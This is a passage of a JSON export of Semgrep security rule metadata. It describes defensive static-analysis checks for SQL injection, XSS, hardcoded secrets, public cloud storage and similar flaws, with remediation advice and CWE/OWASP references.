Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.puppeteer-express.puppeteer-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper","id":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","name":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-textiowrapper"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n - [https://golang.org/pkg/io/#WriteString](https://golang.org/pkg/io/#WriteString)\n","text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","id":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","name":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli)\n - [https://github.com/MagicStack/asyncpg](https://github.com/MagicStack/asyncpg)\n - [https://magicstack.github.io/asyncpg/current/](https://magicstack.github.io/asyncpg/current/)\n","text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","id":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","name":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"help":{"markdown":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"help":{"markdown":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html)\n","text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket","id":"json.aws.security.public-s3-bucket.public-s3-bucket","name":"json.aws.security.public-s3-bucket.public-s3-bucket","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-bucket.public-s3-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli","id":"kotlin.spring.hibernate-sqli.hibernate-sqli","name":"kotlin.spring.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write","id":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","name":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-command-write.dangerous-command-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"help":{"markdown":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality)\n - [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)\n - [https://www.whitehatsec.com/blog/magic-hashes/](https://www.whitehatsec.com/blog/magic-hashes/)\n","text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality","id":"php.lang.security.md5-loose-equality.md5-loose-equality","name":"php.lang.security.md5-loose-equality.md5-loose-equality","properties":{"precision":"very-high","tags":["CWE-697: Incorrect Comparison","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-loose-equality.md5-loose-equality"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli)\n - [https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries](https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli","id":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","name":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.sequel-sqli.sequel-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"bcrypt hash detected"},"help":{"markdown":"bcrypt hash detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"bcrypt hash detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","id":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","name":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"help":{"markdown":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n","text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","id":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","name":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","id":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","name":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy)\n - [https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html](https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html)\n - [https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","id":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","name":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This gets data from session using user inputs. A malicious user may be able to retrieve information from your session that you didn't intend them to. Do not use user input as a session key."},"help":{"markdown":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation)\n - [https://brakemanscanner.org/docs/warning_types/session_manipulation/](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n","text":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","id":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","name":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Allowing an attacker to manipulate the session may lead to unintended behavior."}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"help":{"markdown":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n","text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file","id":"ruby.rails.security.brakeman.check-send-file.check-send-file","name":"ruby.rails.security.brakeman.check-send-file.check-send-file","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-send-file.check-send-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","id":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","name":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","id":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","name":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"transferFrom() can steal allowance of other accounts"},"help":{"markdown":"transferFrom() can steal allowance of other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug)\n - [https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5](https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5)\n - [https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C](https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C)\n","text":"transferFrom() can steal allowance of other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","id":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","name":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","id":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","name":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access 